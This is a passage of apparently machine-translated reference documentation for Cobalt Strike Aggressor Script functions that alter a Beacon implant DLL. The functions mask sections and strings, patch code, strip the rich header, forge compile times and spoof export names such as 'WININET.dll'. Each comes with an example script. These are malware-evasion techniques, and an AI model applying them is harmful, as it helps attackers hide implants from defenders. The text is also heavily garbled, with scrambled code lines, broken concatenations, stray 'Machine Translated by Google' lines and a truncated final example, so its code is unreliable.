# ------------------------------------ # masking some data in dll # -----
------------------------------- # warn("pe_mask(dll, " ")");
$temp_dll = pe_mask($temp_dll, $start, $length, $maskkey);
                                                  . $start. ", "           . $length . ", "          . $maskkey .



# dump_my_pe($temp_dll);

    # ------------------------------------ # uncloaking (running the
    same disguise a second time should unmask) # (Usually this is done by the Reflective Loader). #
    ------------------------------------ .
    $length . ", " # warn("pe_mask(dll, " ")"); # $temp_dll =
    pe_mask($temp_dll, $start, $length, $maskkey);
                                                  . $start. ", "                                     . $maskkey .


# dump_my_pe($temp_dll);

    # ------------------------------------ # done! We return the edited
    DLL! # ------------------------------------ return $temp_dll;


}
```

## pe_mask_section

Masks data in the contents of a Beacon DLL based on position and length.

**Arguments**

$1 - contents of the Beacon DLL

$2 - section name

$3 - byte value of the key to mask (int)

**Returns** the
updated content of the DLL.

**Example**

```
#
=============================================== ========================
# $1 = contents of the Beacon DLL #

=============================================== ========================
sub demo_pe_mask_section {

local('$temp_dll, $section_name, $maskkey'); local('@loc_en,
@val_en');

$temp_dll = $1;

# ------------------------------------ # setting parameters # --------
---------------------- $section_name =
".text"; $mask key = 23;



# ------------------------------------ # dll section masking # ------
------------------------------ #
warn("pe_mask_section(dll, " . $section_name . ", " . $maskkey .
")"); $temp_dll = pe_mask_section($temp_dll, $section_name, $maskkey);


# dump_my_pe($temp_dll);

# ------------------------------------ # uncloaking (running the same
disguise a second time should
    unmask) # (Usually this is
    done by the Reflective Loader).
# ------------------------------------ # warn("pe_mask_section(dll, " .
$section_name . ", " # $temp_dll = pe_mask_section($temp_dll, $section_name,       . $maskkey . ")");
$maskkey); # dump_my_pe($temp_dll);


    # ------------------------------------ # done! We return the edited
    DLL! # ------------------------------------ return $temp_dll;


}
```

Machine Translated by Google

## pe_mask_string

Masks a string in the contents of a Beacon DLL based on position.

**Arguments** $1
- contents of the Beacon DLL

$2 - starting location

$3 - byte value of the key to mask (int)

**Returns** the
updated content of the DLL.

### Example

```
#
================================================== =========================
# $1 = contents of the Beacon DLL #

================================================== =========================

sub demo_pe_mask_string {


local('$temp_dll, $location, $length, $maskkey'); local('%pemap'); local('@loc);



$temp_dll = $1;

    # ------------------------------------- # check current DLL... # ----
    --------------------------------- %pemap =
    pedump($temp_dll); @loc = values(%pemap,
    @("Sections.AddressOfName.0."));


if (size(@loc) != 1) { warn("Unexpected
size of section name location array: (@loc)); } else { warn("Current section name location: " }        " . size


                                                                          . @loc[0]);


    # ------------------------------------- # setting parameters # --------
    ----------------------- $location =
    @loc[0]; $length = 5; $mask key = 23;




# ------------------------------------- # pe_mask_string (strings to mask
in dll) # -- -------------------------------------
```

Machine Translated by Google

```
# warn("pe_mask_string(dll, " . $location . ", " . $maskkey . ")"); $temp_dll = pe_mask_string($temp_dll,
$location, $maskkey);

# dump_my_pe($temp_dll);

        # ------------------------------------ # uncloaking (running the
        same disguise a second time should unmask) # we unmask the length of the string and the null
        character # (usually done
        by the Reflective Loader) # --------------------------- --------- # warn("pe_mask(dll, " . $length .
        ", " ")"); # $temp_dll = pe_mask($temp_dll, $location, $length,
        $maskkey);
                                                  . $location. ", "                                           . $maskkey .



# dump_my_pe($temp_dll);
        # ------------------------------- # done! We return the edited DLL!
        # ------------------------------------ return $temp_dll;


}
```

## pe_patch_code

Fixes code in the contents of the Beacon DLL based on a find/replace in the '.text' section.

**Arguments** $1
- contents of the Beacon DLL

$2 - array of bytes to be found to resolve the offset

$3 - byte array, which is placed at offset (data overwriting)

**Returns** the
updated content of the DLL.

### Example

```
#
================================================ =========================
# $1 = contents of the Beacon DLL

#
================================================ ========================
sub demo_pe_patch_code {

local('$temp_dll, $findme, $replacement');

$temp_dll = $1;

# ====== simple text values ====== $findme = "abcABC123";
$replacement = "123ABCabc";

# warn("pe_patch_code(dll, " $temp_dll =            . $findme . ", "                  . $replacement. ")");
pe_patch_code($temp_dll, $findme, $replacement);

# ====== array of bytes as a hex string ====== $findme = "\x01\x02\x03\xfc\xfe\xff";

    $replacement = "\x01\x02\x03\xfc\xfe\xff";

# warn("pe_patch_code(dll, " $temp_dll =            . $findme . ", "                  . $replacement. ")");
pe_patch_code($temp_dll, $findme, $replacement);

# dump_my_pe($temp_dll);

    # ------------------------------- # done! We return the edited DLL!
    # ------------------------------------- return $temp_dll;


}
```

## pe_remove_rich_header

Removes the rich header from the contents of the Beacon DLL.

**Arguments** $1
- contents of the Beacon DLL

**Returns** the
updated content of the DLL.

### Example

```
# ------------------------------------- # remove/replace rich header
# ----- ------------------------------- $temp_dll =
pe_remove_rich_header($temp_dll);
```

## pe_set_compile_time_with_long

Sets the compilation time in the contents of the Beacon DLL.

**Arguments** $1
- contents of the Beacon DLL

$2 - compilation time (in milliseconds)

**Returns** the
updated content of the DLL.

**Example**

```
# date in milliseconds ("1893521594000" = "01 Jan 2030 12:13:14") $date = 1893521594000;
$temp_dll =
pe_set_compile_time_with_long($temp_dll, $date);

# date in milliseconds ("1700000001000" = "14 Nov 2023 16:13:21") $date = 1700000001000;
$temp_dll =
pe_set_compile_time_with_long($temp_dll, $date);
```

## pe_set_compile_time_with_string

Sets the compilation time in the contents of the Beacon DLL.

**Arguments**
$1 - contents of the Beacon DLL

$2 - compile time (as a string)

**Returns** the
updated content of the DLL.

**Example**

```
# ("01 Jan 2020 15:16:17" = "1577913377000") $strTime = "01
Jan 2020 15:16:17"; $temp_dll =
pe_set_compile_time_with_string($temp_dll, $strTime);
```

## pe_set_export_name

Specifies the name of the exported object in the contents of the Beacon DLL.

**Arguments**
$1 - contents of the Beacon DLL

**Returns** the
updated content of the DLL.

**Note** The name
must be present in the string table.

**Example**

```
# ------------------------------------ # the name must be in the
string table... # - ------------------------------------

$export_name = "WININET.dll"; $temp_dll
= pe_set_export_name($temp_dll, $export_name); $export_name = "beacon.dll";
$temp_dll = pe_set_export_name($temp_dll,
$export_name);
```

## pe_set_long

Places a value of type long at the specified location.

**Arguments** $1 -
contents of the Beacon DLL

$2 - location

$3 - value

**Returns** the updated
content of the DLL.

### Example

```
#
================================================= ========================
# $1 = contents of the Beacon DLL #
================================================= ========================
sub demo_pe_set_long {

local('$temp_dll, $int_offset, $long_value'); local('%pemap');
local('@loc_cs, @val_cs');


$temp_dll = $1;

      # ------------------------------------ # check current DLL... # ----
      --------------------------------- %pemap =
      pedump($temp_dll); @loc_cs = values(%pemap,
      @("CheckSum.<location>")); @val_cs =
      values(%pemap, @("CheckSum.<value>"));


if (size(@val_cs) != 1) { warn("Unexpected
size of checksum value array: } else { warn("Current checksum value: " }      "      . size(@val_cs));

                                                                      . @val_cs[0]);


if (size(@loc_cs) != 1) { warn("Unexpected
size of checksum location array: } else { warn("Current checksum location: " }      "      . size(@loc_cs));

                                                                          . @loc_cs[0]);


#------------------------------------
```

Machine Translated by Google

```
        # setting options (parsing a number to base 10) #
        ------------------------------------ $int_offset =
        parseNumber(@loc_cs[0], 10); $long_value = 98765;


    # ------------------------------------ # pe_set_long (set a long
    value) # --- ---------------------------------- #
    warn("pe_set_long(dll, " $temp_dll = pe_set_long($temp_dll ,
    $int_offset, $long_value);                . $int_offset . ", "                . $long_value . ")");


        # -------------------------------- # did you manage to do it?
        # ------------------------------------- #
        dump_my_pe($temp_dll);


        # ------------------------------------- # done! We return the
        edited DLL! # ------------------------------------- return $temp_dll;


    }
```

## pe_set_short

Places a value of type short at the specified location.

**Arguments** $1 -
contents of the Beacon DLL

$2 - location

$3 - value

**Returns** the updated
content of the DLL.

### Example

```
# ================================================= =========================== # $1 =
contents of Beacon DLL #
================= ================================================= ======== sub
demo_pe_set_short {

local('$temp_dll, $int_offset, $short_value'); local('%pemap');
local('@loc, @val');


$temp_dll = $1;

    # ------------------------------------ # check current DLL... #
    ---- -------------------------------- %pemap
    = pedump($temp_dll); @loc = values(%pemap,
    @(".text.NumberOfRelocations."));
    @val = values(%pemap, @(".text.NumberOfRelocations."));
```

Machine Translated by Google

```
if (size(@val) != 1) { warn("Unexpected
size of .text.NumberOfRelocations value array: (@val)); } else { warn("Current .text.NumberOfRelocations value: " }        "   . size

                                                                                          . @val[0]);


if (size(@loc) != 1) { warn("Unexpected
size of .text.NumberOfRelocations location array: (@loc)); } else { warn("Current .text.NumberOfRelocations location: " }        "   . size

                                                                                          . @loc[0]);


    #------------------------------------
  # setting parameters (parsing a number in base 10)
    # ------------------------------------ $int_offset =
    parseNumber(@loc[0], 10 ); $short_value = 128;


#------------------------------------
# pe_set_short (set a short value) # ------------------------------------

# warn("pe_set_short(dll, " $temp_dll =                 . $int_offset . ", "                    . $short_value . ")");
pe_set_short($temp_dll, $int_offset, $short_value);

    #------------------------------------
    # did it work? # ------------------------------------
    # dump_my_pe($temp_dll);


    # ------------------------------- # done! We return the
    edited DLL! #------------------------------------

    return $temp_dll;
}
```

## pe_set_string

Places a string value at the specified location.

### Arguments

$1 - contents of the Beacon DLL

$2 - starting location

$3 - value

**Returns** the updated content of the DLL.

### Example

```
#
================================================ ========================
# $1 = contents of the Beacon DLL
```

```
#
=============================================== ========================
sub demo_pe_set_string {

local('$temp_dll, $location, $value'); local('%pemap');
local('@loc_en, @val_en');


$temp_dll = $1;

    # ------------------------------------ # check current DLL... # ----
    -------------------------------- %pemap =
    pedump($temp_dll); @loc_en = values(%pemap,
    @("Export.Name.")); @val_en =
    values(%pemap, @("Export.Name."));


if (size(@val_en) != 1) { warn("Unexpected
size of export name value array: } else { warn("Current export value: " }          " . size(@val_en));

                                                    . @val_en[0]);


if (size(@loc_en) != 1) { warn("Unexpected
size of export location array: } else { warn("Current export name location: " }    " . size(@loc_en));

                                                         . @loc_en[0]);


    # ------------------------------------ # setting parameters (parsing
    number to base 10) # - ----------------------------- $location =
    parseNumber(@loc_en[0], 10); $value = "BEECON.DLL";



# ------------------------------------ # pe_set_string (string value to
set) # ---- -------------------------------- # warn("pe_set_string(dll, " . $value . ")")) ;
$temp_dll = pe_set_string($temp_dll, $location, $value);
                                                . $location. ", "


    # ------------------------------- # did you manage to do it? #
    ------------------------------------ #
    dump_my_pe($temp_dll);


    # ------------------------------------ # done! We return the edited
    DLL! # ------------------------------------ return $temp_dll;


}
```

## pe_set_stringz

Places a string value at the specified location and adds a terminal zero.

**Arguments**

$1 - contents of the Beacon DLL

$2 - starting location

$3 - string to be set

**Returns** the
updated content of the DLL.

### Example

```
#
================================================= ========================
# $1 = contents of the Beacon DLL #

================================================= ========================
sub demo_pe_set_stringz {

local('$temp_dll, $offset, $value'); local('%pemap'); local('@loc');



$temp_dll = $1;

      # ------------------------------------ # check current DLL... # ----
      -------------------------------- %pemap =
      pedump($temp_dll); @loc = values(%pemap,
      @("Sections.AddressOfName.0."));


if (size(@loc) != 1) { warn("Unexpected
size of section name location array: (@loc)); } else { warn("Current section name location: " }        "     . size


                                                                                                  . @loc[0]);


      # ------------------------------------ # setting parameters (parsing
      number to base 10) # - ----------------------------------- $offset = parseNumber(@loc[0], 10);
      $value = "abc";



# ------------------------------------ # pe_set_stringz # ---------
--------------------------- #
warn("pe_set_stringz(dll, "
                                                                          . $offset. ", "                          . $value. ")");
```